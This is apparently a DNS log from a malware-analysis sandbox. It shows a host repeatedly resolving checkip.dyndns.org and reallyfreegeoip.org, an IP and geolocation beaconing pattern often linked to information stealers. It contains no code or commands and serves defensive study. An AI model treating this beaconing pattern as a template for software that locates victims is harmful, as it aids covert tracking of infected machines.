Aug 13, 2024 20:24:45.759526014 CEST	8.8.8.8	192.168.2.22	0xdfa0	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:45.759526014 CEST	8.8.8.8	192.168.2.22	0xdfa0	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:45.759526014 CEST	8.8.8.8	192.168.2.22	0xdfa0	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:45.759526014 CEST	8.8.8.8	192.168.2.22	0xdfa0	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:45.794790030 CEST	8.8.8.8	192.168.2.22	0x39d8	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:24:45.794790030 CEST	8.8.8.8	192.168.2.22	0x39d8	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:45.794790030 CEST	8.8.8.8	192.168.2.22	0x39d8	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:45.794790030 CEST	8.8.8.8	192.168.2.22	0x39d8	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:45.794790030 CEST	8.8.8.8	192.168.2.22	0x39d8	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:45.794790030 CEST	8.8.8.8	192.168.2.22	0x39d8	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:48.534965038 CEST	8.8.8.8	192.168.2.22	0xb260	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:48.534965038 CEST	8.8.8.8	192.168.2.22	0xb260	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:51.578433990 CEST	8.8.8.8	192.168.2.22	0xf6c8	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:24:51.578433990 CEST	8.8.8.8	192.168.2.22	0xf6c8	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:51.578433990 CEST	8.8.8.8	192.168.2.22	0xf6c8	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:51.578433990 CEST	8.8.8.8	192.168.2.22	0xf6c8	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:51.578433990 CEST	8.8.8.8	192.168.2.22	0xf6c8	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:51.578433990 CEST	8.8.8.8	192.168.2.22	0xf6c8	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:51.598578930 CEST	8.8.8.8	192.168.2.22	0xec2d	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:24:51.598578930 CEST	8.8.8.8	192.168.2.22	0xec2d	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:51.598578930 CEST	8.8.8.8	192.168.2.22	0xec2d	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:51.598578930 CEST	8.8.8.8	192.168.2.22	0xec2d	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:51.598578930 CEST	8.8.8.8	192.168.2.22	0xec2d	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:51.598578930 CEST	8.8.8.8	192.168.2.22	0xec2d	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.135773897 CEST	8.8.8.8	192.168.2.22	0x66e	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.135773897 CEST	8.8.8.8	192.168.2.22	0x66e	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.142995119 CEST	8.8.8.8	192.168.2.22	0x66e	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.142995119 CEST	8.8.8.8	192.168.2.22	0x66e	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.970118046 CEST	8.8.8.8	192.168.2.22	0x88bb	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:24:52.970118046 CEST	8.8.8.8	192.168.2.22	0x88bb	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.970118046 CEST	8.8.8.8	192.168.2.22	0x88bb	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.970118046 CEST	8.8.8.8	192.168.2.22	0x88bb	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.970118046 CEST	8.8.8.8	192.168.2.22	0x88bb	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.970118046 CEST	8.8.8.8	192.168.2.22	0x88bb	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.996092081 CEST	8.8.8.8	192.168.2.22	0x54ad	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:24:52.996092081 CEST	8.8.8.8	192.168.2.22	0x54ad	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.996092081 CEST	8.8.8.8	192.168.2.22	0x54ad	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.996092081 CEST	8.8.8.8	192.168.2.22	0x54ad	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.996092081 CEST	8.8.8.8	192.168.2.22	0x54ad	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:52.996092081 CEST	8.8.8.8	192.168.2.22	0x54ad	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:53.541080952 CEST	8.8.8.8	192.168.2.22	0x8fb	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:53.541080952 CEST	8.8.8.8	192.168.2.22	0x8fb	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:54.301455021 CEST	8.8.8.8	192.168.2.22	0x41ca	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:24:54.301455021 CEST	8.8.8.8	192.168.2.22	0x41ca	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:54.301455021 CEST	8.8.8.8	192.168.2.22	0x41ca	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:54.301455021 CEST	8.8.8.8	192.168.2.22	0x41ca	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:54.301455021 CEST	8.8.8.8	192.168.2.22	0x41ca	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:54.301455021 CEST	8.8.8.8	192.168.2.22	0x41ca	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:54.358094931 CEST	8.8.8.8	192.168.2.22	0xc249	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:24:54.358094931 CEST	8.8.8.8	192.168.2.22	0xc249	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:54.358094931 CEST	8.8.8.8	192.168.2.22	0xc249	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:54.358094931 CEST	8.8.8.8	192.168.2.22	0xc249	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:54.358094931 CEST	8.8.8.8	192.168.2.22	0xc249	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:54.358094931 CEST	8.8.8.8	192.168.2.22	0xc249	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:55.212383032 CEST	8.8.8.8	192.168.2.22	0xa5bc	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:55.212383032 CEST	8.8.8.8	192.168.2.22	0xa5bc	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:55.220614910 CEST	8.8.8.8	192.168.2.22	0xa5bc	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:55.220614910 CEST	8.8.8.8	192.168.2.22	0xa5bc	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:56.047771931 CEST	8.8.8.8	192.168.2.22	0xe24c	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:24:56.047771931 CEST	8.8.8.8	192.168.2.22	0xe24c	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:56.047771931 CEST	8.8.8.8	192.168.2.22	0xe24c	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:56.047771931 CEST	8.8.8.8	192.168.2.22	0xe24c	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:56.047771931 CEST	8.8.8.8	192.168.2.22	0xe24c	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:56.047771931 CEST	8.8.8.8	192.168.2.22	0xe24c	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:56.300889969 CEST	8.8.8.8	192.168.2.22	0xcad4	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:24:56.300889969 CEST	8.8.8.8	192.168.2.22	0xcad4	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:56.300889969 CEST	8.8.8.8	192.168.2.22	0xcad4	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:56.300889969 CEST	8.8.8.8	192.168.2.22	0xcad4	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:56.300889969 CEST	8.8.8.8	192.168.2.22	0xcad4	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:56.300889969 CEST	8.8.8.8	192.168.2.22	0xcad4	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:57.118679047 CEST	8.8.8.8	192.168.2.22	0x96d5	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:57.118679047 CEST	8.8.8.8	192.168.2.22	0x96d5	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:57.126260042 CEST	8.8.8.8	192.168.2.22	0x96d5	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:57.126260042 CEST	8.8.8.8	192.168.2.22	0x96d5	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.479684114 CEST	8.8.8.8	192.168.2.22	0xb8c1	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:24:58.479684114 CEST	8.8.8.8	192.168.2.22	0xb8c1	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.479684114 CEST	8.8.8.8	192.168.2.22	0xb8c1	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.479684114 CEST	8.8.8.8	192.168.2.22	0xb8c1	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.479684114 CEST	8.8.8.8	192.168.2.22	0xb8c1	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.479684114 CEST	8.8.8.8	192.168.2.22	0xb8c1	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.489085913 CEST	8.8.8.8	192.168.2.22	0xe3c7	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:24:58.489085913 CEST	8.8.8.8	192.168.2.22	0xe3c7	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.489085913 CEST	8.8.8.8	192.168.2.22	0xe3c7	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.489085913 CEST	8.8.8.8	192.168.2.22	0xe3c7	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.489085913 CEST	8.8.8.8	192.168.2.22	0xe3c7	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.489085913 CEST	8.8.8.8	192.168.2.22	0xe3c7	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.622107029 CEST	8.8.8.8	192.168.2.22	0xd009	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:24:58.622107029 CEST	8.8.8.8	192.168.2.22	0xd009	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.622107029 CEST	8.8.8.8	192.168.2.22	0xd009	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.622107029 CEST	8.8.8.8	192.168.2.22	0xd009	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.622107029 CEST	8.8.8.8	192.168.2.22	0xd009	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.622107029 CEST	8.8.8.8	192.168.2.22	0xd009	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.635576010 CEST	8.8.8.8	192.168.2.22	0x6585	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:24:58.635576010 CEST	8.8.8.8	192.168.2.22	0x6585	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.635576010 CEST	8.8.8.8	192.168.2.22	0x6585	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.635576010 CEST	8.8.8.8	192.168.2.22	0x6585	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.635576010 CEST	8.8.8.8	192.168.2.22	0x6585	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:58.635576010 CEST	8.8.8.8	192.168.2.22	0x6585	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:59.196753979 CEST	8.8.8.8	192.168.2.22	0xd396	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:59.196753979 CEST	8.8.8.8	192.168.2.22	0xd396	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:59.209474087 CEST	8.8.8.8	192.168.2.22	0xd396	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:59.209474087 CEST	8.8.8.8	192.168.2.22	0xd396	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:59.656183958 CEST	8.8.8.8	192.168.2.22	0xb953	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:59.656183958 CEST	8.8.8.8	192.168.2.22	0xb953	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:59.992712021 CEST	8.8.8.8	192.168.2.22	0xb80a	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:24:59.992712021 CEST	8.8.8.8	192.168.2.22	0xb80a	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:59.992712021 CEST	8.8.8.8	192.168.2.22	0xb80a	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:59.992712021 CEST	8.8.8.8	192.168.2.22	0xb80a	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:59.992712021 CEST	8.8.8.8	192.168.2.22	0xb80a	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:24:59.992712021 CEST	8.8.8.8	192.168.2.22	0xb80a	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:00.005518913 CEST	8.8.8.8	192.168.2.22	0x8ad2	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:00.005518913 CEST	8.8.8.8	192.168.2.22	0x8ad2	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:00.005518913 CEST	8.8.8.8	192.168.2.22	0x8ad2	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:00.005518913 CEST	8.8.8.8	192.168.2.22	0x8ad2	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:00.005518913 CEST	8.8.8.8	192.168.2.22	0x8ad2	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:00.005518913 CEST	8.8.8.8	192.168.2.22	0x8ad2	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:02.031306982 CEST	8.8.8.8	192.168.2.22	0xe089	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:02.031306982 CEST	8.8.8.8	192.168.2.22	0xe089	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:02.031306982 CEST	8.8.8.8	192.168.2.22	0xe089	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:02.031306982 CEST	8.8.8.8	192.168.2.22	0xe089	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:02.031306982 CEST	8.8.8.8	192.168.2.22	0xe089	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:02.031306982 CEST	8.8.8.8	192.168.2.22	0xe089	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:02.040117979 CEST	8.8.8.8	192.168.2.22	0x6844	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:02.040117979 CEST	8.8.8.8	192.168.2.22	0x6844	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:02.040117979 CEST	8.8.8.8	192.168.2.22	0x6844	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:02.040117979 CEST	8.8.8.8	192.168.2.22	0x6844	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:02.040117979 CEST	8.8.8.8	192.168.2.22	0x6844	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:02.040117979 CEST	8.8.8.8	192.168.2.22	0x6844	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:03.682820082 CEST	8.8.8.8	192.168.2.22	0xa411	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:03.682820082 CEST	8.8.8.8	192.168.2.22	0xa411	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:04.368171930 CEST	8.8.8.8	192.168.2.22	0x3e24	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:04.368171930 CEST	8.8.8.8	192.168.2.22	0x3e24	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:04.368171930 CEST	8.8.8.8	192.168.2.22	0x3e24	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:04.368171930 CEST	8.8.8.8	192.168.2.22	0x3e24	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:04.368171930 CEST	8.8.8.8	192.168.2.22	0x3e24	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:04.368171930 CEST	8.8.8.8	192.168.2.22	0x3e24	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:04.378217936 CEST	8.8.8.8	192.168.2.22	0xc961	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:04.378217936 CEST	8.8.8.8	192.168.2.22	0xc961	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:04.378217936 CEST	8.8.8.8	192.168.2.22	0xc961	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:04.378217936 CEST	8.8.8.8	192.168.2.22	0xc961	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:04.378217936 CEST	8.8.8.8	192.168.2.22	0xc961	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:04.378217936 CEST	8.8.8.8	192.168.2.22	0xc961	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:13.252530098 CEST	8.8.8.8	192.168.2.22	0x371	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:13.252530098 CEST	8.8.8.8	192.168.2.22	0x371	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:14.569797039 CEST	8.8.8.8	192.168.2.22	0x483	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:14.569797039 CEST	8.8.8.8	192.168.2.22	0x483	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:14.569797039 CEST	8.8.8.8	192.168.2.22	0x483	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:14.569797039 CEST	8.8.8.8	192.168.2.22	0x483	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:14.569797039 CEST	8.8.8.8	192.168.2.22	0x483	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:14.569797039 CEST	8.8.8.8	192.168.2.22	0x483	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:14.581427097 CEST	8.8.8.8	192.168.2.22	0x2bfc	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:14.581427097 CEST	8.8.8.8	192.168.2.22	0x2bfc	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:14.581427097 CEST	8.8.8.8	192.168.2.22	0x2bfc	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:14.581427097 CEST	8.8.8.8	192.168.2.22	0x2bfc	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:14.581427097 CEST	8.8.8.8	192.168.2.22	0x2bfc	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:14.581427097 CEST	8.8.8.8	192.168.2.22	0x2bfc	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:16.772885084 CEST	8.8.8.8	192.168.2.22	0xe937	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:16.772885084 CEST	8.8.8.8	192.168.2.22	0xe937	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:18.380386114 CEST	8.8.8.8	192.168.2.22	0xefd7	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:18.380386114 CEST	8.8.8.8	192.168.2.22	0xefd7	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:18.380386114 CEST	8.8.8.8	192.168.2.22	0xefd7	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:18.380386114 CEST	8.8.8.8	192.168.2.22	0xefd7	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:18.380386114 CEST	8.8.8.8	192.168.2.22	0xefd7	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:18.380386114 CEST	8.8.8.8	192.168.2.22	0xefd7	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Aug 13, 2024 20:25:18.390116930 CEST	8.8.8.8	192.168.2.22	0x935	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 13, 2024 20:25:18.390116930 CEST	8.8.8.8	192.168.2.22	0x935	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
